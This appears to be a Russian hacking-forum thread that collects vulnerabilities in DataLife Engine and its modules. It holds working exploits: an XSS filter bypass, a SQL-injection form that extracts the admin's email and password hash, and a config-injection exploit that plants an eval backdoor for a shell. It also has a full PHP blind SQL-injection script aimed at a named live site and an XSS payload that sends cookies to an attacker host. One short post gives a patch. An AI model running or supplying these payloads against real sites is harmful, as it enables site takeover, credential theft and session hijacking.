чтобы php код исполнялся в шаблонах (tpl) надо: В файле index.php, заменить PHP: echo $tpl->result['main']; на PHP: function incphp($str) { $a = explode('<?', $str); echo $a[0]; for ($i=1; $i<sizeof($a); $i++) { $b = explode('?>', $a[$i]); eval($b[0]); if (sizeof($b)>1) echo $b[1]; } } incphp($tpl->result['main']); Теперь Вы можете в любом тексте между тегами <? ... ?> выполнять PHP код. (с) dle-news.ru так что облом --------------------------------------------- загружать шелл через добавление новости тоже не получается. 1) не отображается полный путь файлы\а(шелла) т.к при загрузке скрипт сам дописывает цыфры перед файлом. 2) в папке uploads/files (куда складываются файлы) лежит .htaccess в котором: PHP: <FilesMatch ".*"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "\.(avi|mp3|mp4|flv|swf|wmv)$|^$"> Order deny,allow Allow from all </FilesMatch> DLE 7.0
Datalife Engine XSRF пытались залатать...... обойти: вместо javascript пишем Javascript вместо document.cookie пишем Document.cookie
Datalife ветки 6.x Весьма интересные вещи творятся когда пользователь повторно заходит в систему под своим аккаунтом (имеется ввиду проходит аутентификацию по кукисам). Запрос браузера: Code: GET http://www.site.net/ HTTP/1.0 Cookie: dle_twsf_t=a%3A1%3A%7Bi%3A19%3Bi%3A1205043514%3B%7D; dle_onl_session=-062044f577ca1d58adabaf005e0bf5bf; dle_name=Kit; dle_password=1ad092fcfc34d69ebef9f3c745aea027; dle_newpm=0; PHPSESSID=062044f577ca1d58adabaf005e0bf5bf Host: www.site.net Параметр dle_onl_session уязвим, однако при попытки сформировать "злой" запрос мы натыкаемся на повторное использование этого же параметра в другом SQL запросе, результат: очередной MySQL error. Может у кого-то получится пойти дальше? P.S. Т.к. MySQL error показывает неудачные запросы, есть возможность XSS атаки, однако чужие кукисы "угнать" не получится.
Недостаточная фильтрация входящих данных /engine/modules/functions.php Подробно рассмотрено: http://4dle.ru/bugs/1147156035-nedostatochnaja-filtracija.html
Нашёл XSS в Datalife Engine v 6.7 (в остальных версиях не проверял, по инету потыкался, везде где доступна админка, вроде работает): В файле: http://site/admin.php Code: Cookie: dle_lastusername='><script>alert(/XSS/)</script>
Dle forum 2.1 (возможно, последующие версии, не проверял) Эксплойт, получение логина, хеша, мыла админа: Code: <form action="http://evil.com/?do=forum&act=category" method="post"> <input name="cid" value="-99' union select 1,2,3,4,5,6,7,8,9,concat(email,':',password,':',name),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from dle_users where user_group=1 limit 1/*"/> <input type="submit" value="ok"/> </form> Действие эксплойта основано на том, что встроенная функция dle check_xss() проверяет на нехорошие символы ' " < > лишь строку $QUERY_STRING, а пост, куки итд запросы остаются непроверенными. Подозреваю, что основной движок страдает тем же самым. Dle <=6.7 (возможно, последующие версии, не проверял) Эксплойт, дающий шелл (использовать залогиненным админом) : Code: <form action="http://evil.com/admin.php?mod=options&action=syscon" method="post"> <input name="save_con[test');@eval(trim(stripslashes($lala)));$config=array('test]" value="test"/> <input type=hidden name=action value=dosavesyscon> <input type="submit" value="ok"/> </form> далее HTML: http://evil.com/adm.php?mod=options&action=syscon&lala=phpcode(); Действие эксплойта основано на том, что при записи конфига в соотв. пхп-файл, проверяется на нехорошие символы только значение параметра, а само имя параметра-нет+если в массиве конфига послать новый параметр, которого не было, то он успешно запишется в конфиг ЗЫ хеш зашифрован md5(md5()). Такого вида хеши успешно расшифровываются большинством онлайн-сервисов Я кончил.
Недостаточная фильтрация входящих данных /engine/classes/parse.class.php Подробно рассмотрено: http://dle-news.ru/bags/v73/439-nedostatochnaja-filtracija-vkhodjashhikh-dannykh.html
Blind slq-inj в модуле галерея для dle, в параметре news_sort Уязв.код (news_sort) : show_cat.php PHP: if ( isset($_POST['news_sort']) ) $galConfig['news_sort'] = mysql_escape_string($_POST['news_sort']); elseif ($gal_cat[$category_id]['news_sort'] != "") $galConfig['news_sort'] = $gal_cat[$category_id]['news_sort']; if ( isset($_POST['news_msort']) ) $galConfig['news_msort'] = mysql_escape_string($_POST['news_msort']); elseif ($gal_cat[$category_id]['news_msort'] != "") $galConfig['news_msort'] = $gal_cat[$category_id]['news_msort']; if ($galConfig['user_cats_limit']) $sear = "(" . PREFIX . "_gal_cat.cat_status = '0' OR " . PREFIX . "_gal_cat.cat_status = '2') AND " . PREFIX . "_gal_pic.approve='1'"; else $sear = "" . PREFIX . "_gal_cat.cat_status = '0' AND " . PREFIX . "_gal_pic.approve='1'"; $result = $db->query("SELECT " . PREFIX . "_gal_pic.*, " . PREFIX . "_gal_cat.cat_title, cat_alt_name, allow_rating, allow_comm FROM " . PREFIX . "_gal_pic LEFT JOIN " . PREFIX . "_gal_cat ON " . PREFIX . "_gal_pic.pic_cat_id=" . PREFIX . "_gal_cat.cat_id WHERE " . PREFIX . "_gal_cat.cat_alt_name='$category' AND $sear AND " . PREFIX . "_gal_cat.cat_view_level regexp '[[:<:]]($member_id[user_group])[[:>:]]' ORDER BY ".$galConfig['news_sort']." ".$galConfig['news_msort']." LIMIT $cstart, $lim"); Как видим данные из news_sort попадают в функцию mysql_escape_string, но так как в запросе данные не обрамляются кавычками, эта функция никаким образом не помешает проведению sql инъекции Пример запроса: Code: POST /index.php?do=gallery&action=show_cat&category=gorod HTTP/1.1 Host: www.simfilife.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Keep-Alive: 300 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 133 news_sort=if(ord(substring((select password from dle_users where user_id=1),1,1))>4,(select 1 from dle_usergroups),0)&news_msort=DESC Exploit: PHP: <?php set_time_limit(0); /*-----------------------------------------------------*/ //Эксплойт для неофициального модуля Gallery для DLE //Автор: l-l00K //Black Toad Team /*-----------------------------------------------------*/ /*-----------------Настройки---------------------------*/ $good = "MySQL Fatal Error"; $bad = "robots"; $host= "simfilife.net";//указываем сайт $path="/index.php?do=gallery&action=show_cat&category=gorod";//Указываем существующую категорию $body = "news_sort=if(ord(substring((select password from dle_users where user_id=1),"; $index = 1; $result = ""; $end = ",(select 1 from dle_usergroups),0)&news_msort=DESC"; function GetMiddle($min, $max) { return floor($min+((($max+1)-($min-1))/2)); } function post_sql($host,$path,$post_body) { global $end; $post_body .= $end; $post_query = "POST ".$path." HTTP/1.1\r\n"; $post_query .= "Host: ".$host."\r\n"; $post_query .= "Connection: close\r\n"; $post_query .= "Content-Type: application/x-www-form-urlencoded\r\n"; $post_query .= "Content-length: " . strlen($post_body) . "\r\n\r\n"; $post_query .= $post_body; $sock = fsockopen($host, 80, $errno, $errstr, 30); if (!$sock) die('Could not connect to host! '); fputs($sock, $post_query); global $good; global $bad; $answer = ''; while (!feof($sock)) { $answer .= fgets($sock, 1024); if (strpos($answer,$good)) { fclose($sock); return true; } if (strpos($answer,$bad)) { fclose($sock); return false; } } fclose($sock); return false; } function Check($min,$max) { if (($max-$min)<=2) { global $index; global $result; global $host; global $path; global $body; echo "Символ найден: "; if (($max-$min)==1) if (post_sql($host, $path, $body.$index.",1))={$max}")) $result .=chr($max); else $result .=chr($min); if (($max-$min)==2) { if (post_sql($host, $path, $body.$index.",1))>{$max}-1")) { $result .=chr($max); } else { if(post_sql($host, $path, $body.$index.",1))={$max}-1")) $result .=chr($max-1); else $result .=chr($min); } } echo substr($result,strlen($result)-1)."<br>"; flush(); $index++; return true; } else return false; } $bool = true; while ($bool==true) { if (post_sql($host, $path, $body.$index.",1))>0")) { echo ("Символ есть, идет подбор...<br>"); flush(); $ok = true; } else { echo ("Символы кончились <br>"); $ok = false; $bool = false; echo $result; } $min = 31; $max = 123; while ($ok == true) { $num = GetMiddle($min,$max); if (!check($min,$max)) { if (post_sql($host, $path, $body.$index.",1))<{$num}")) { echo("Меньше $num <br>"); $max = $num; } else { echo ("Больше $num <br>"); $min = $num; } flush(); } else $ok = false; } } ?>
Все еще актуальный баг ,но уже не преставляет никакой ценности ,ибо отображается содержимое скрипта vote.tpl Достаточно добавить несколько строчек ,и вместо странички с этими ненужными данными будет красоваться "Hacking attemp" Code: if ($_REQUEST['vote_skin']) { $qw=$_REQUEST['vote_skin']; $qqq=preg_match("/^[a-zA-Z0-9]+$/",$qw); if($qqq){ if (is_dir(ROOT_DIR.'/templates/'.$qw)) { $config['skin'] = $qw; } } else { die("Hacking attempt!"); }
свеженькая XSS для DLE <= 7.2 от Hadi Kiamarsi Code: http://victim-site.com/admin.php/%3E%22%3E%3CScRiPt%3Ealert('Hadi-Kiamarsi')%3C/ScRiPt%3E готовый к работе Code: http://victim-site.com/admin.php/%3E%22%3E%3CScRiPt%3Evar Xcook=document.cookie;document.images[0].src='http://evil-site.com%3F'+Xcook%3C/ScRiPt%3E
Расскрыите путей: Code: http://site.ru/index.php?do=register&doaction=validating&step=2&id[]=1 (c) mailbrush
раскрытие путей результат UPD UPD для тех у кого есть доступ в админку(журналисты, модераторы и выше) (c) #Wolf# ps http://dle-news.ru/bags/v75/570-nedostatochnaya-filtraciya-vxodyashhix-dannyx.html
Модули DLE Youtube Video Downloader Версия: 1.0 Пассивная-XSS Собственно Уязвимый скрипт: youtubedownloader.php Запрос: http://www.youtube.com/watch?v=Gw0Ysp47hl8"><h1>simple</h1> Метод: POST Уязвимый кусок кода: PHP: $video="$_POST[video]"; $video2 = explode("watch?v=", $video); $video2 = explode("&", $video2[1]); $video2 = $video2[0]; /////........ $pic="http://img.youtube.com/vi/$video2/default.jpg"; $youtube .="<center><br><b>$title</b><br><br><img src=\"$pic\"><br><br><a href=\"http://www.youtube.com/get_video?$link\">[ Download ]</a></center>"; }
SPAM BUTTON in PM Версия: v.1.0 Раскрытие путей Уязвимый скрипт: engine\inc\pmspam.php Запрос: -- Метод: -- Уязвимый кусок кода: PHP: //До этого нет объявление функции и каких-либо includ'ов echoheader("SPAM in PM", "Админпанель модуля \"SPAM IN PM\" v.1.0 BY GRIMWEB");
SPAM BUTTON in PM Версия: v.1.0 ВОЗМОЖНО Sql-INJ Уязвимый скрипт: engine\inc\pmspam.php Запрос: flag=-1' Метод: POST Уязвимый кусок кода: PHP: if($_POST['spam_flag']) { foreach ($_POST['spam_flag'] as $key => $value) { $delete_spam_query = "DELETE FROM " . PREFIX . "_spam_pm WHERE id = '$value'"; $delete_spam_query_id = $db->query($delete_spam_query); if(!$delete_spam_query) { $spam_err = true; } } }
DLE HACK SERVICE BETA Версия: v.1.0 Расскрытие путей Уязвимый скрипт: engine\inc\md5.php Запрос: pass[]=md5 Метод: POST Уязвимый кусок кода: PHP: if (isset($_POST['pass'])) { $pass=trim(htmlspecialchars($_POST['pass'])); $pass=md5($pass); }
Простой мини чат для Dle Версия: v.1.0 Расскрытие путей Уязвимый скрипт: shout.php Запрос: name[]=1&message[]=msg Метод: POST Уязвимый кусок кода: PHP: if (isset($_POST["name"], $_POST["message"])){ $name = iconv("UTF-8", "windows-1251", $_POST["name"]); $message = iconv("UTF-8", "windows-1251", $_POST["message"]); Ошибка вызывается тем, что iconv неможет обработать Массив который передаётся через POST
Простой мини чат для Dle Версия: v.1.0 Активная XSS Уязвимый скрипт: shout.php Запрос: name=<h1> 1 </h1>&message=<h1> xsss </h1> Метод: POST Уязвимый кусок кода: PHP: if (isset($_POST["name"], $_POST["message"])){ $name = iconv("UTF-8", "windows-1251", $_POST["name"]); $message = iconv("UTF-8", "windows-1251", $_POST["message"]); ///........ $file[] = $id."¤".$name."¤".$message."¤".time()."\n"; ///........ foreach ($file as $msg) fwrite($fp, $msg); ///........ Этот баг даёт возможность поставить сниффер, и ловить куки
profileZ. Смена логина Версия: v.1.5 Sql-INJ Уязвимый скрипт: engine/modules/profile.php Запрос: usertitle=-1' Метод: POST Уязвимый кусок кода: PHP: $usertitle=$_POST['usertitle']; if (strlen($password1)>0) { $password1 = md5(md5($password1)); $sql_user = "UPDATE " . USERPREFIX . "_users set name='$usertitle', fullname='$fullname', land='$land', icq='$icq', email='$email', info='$info', signature='$signature', password='$password1', allow_mail='$allow_mail', xfields='$filecontents', allowed_ip='$allowed_ip' where name='$user'"; } else { $sql_user = "UPDATE " . USERPREFIX . "_users set name='$usertitle', fullname='$fullname', land='$land', icq='$icq', email='$email', info='$info', signature='$signature', allow_mail='$allow_mail', xfields='$filecontents', allowed_ip='$allowed_ip' where name='$user'"; }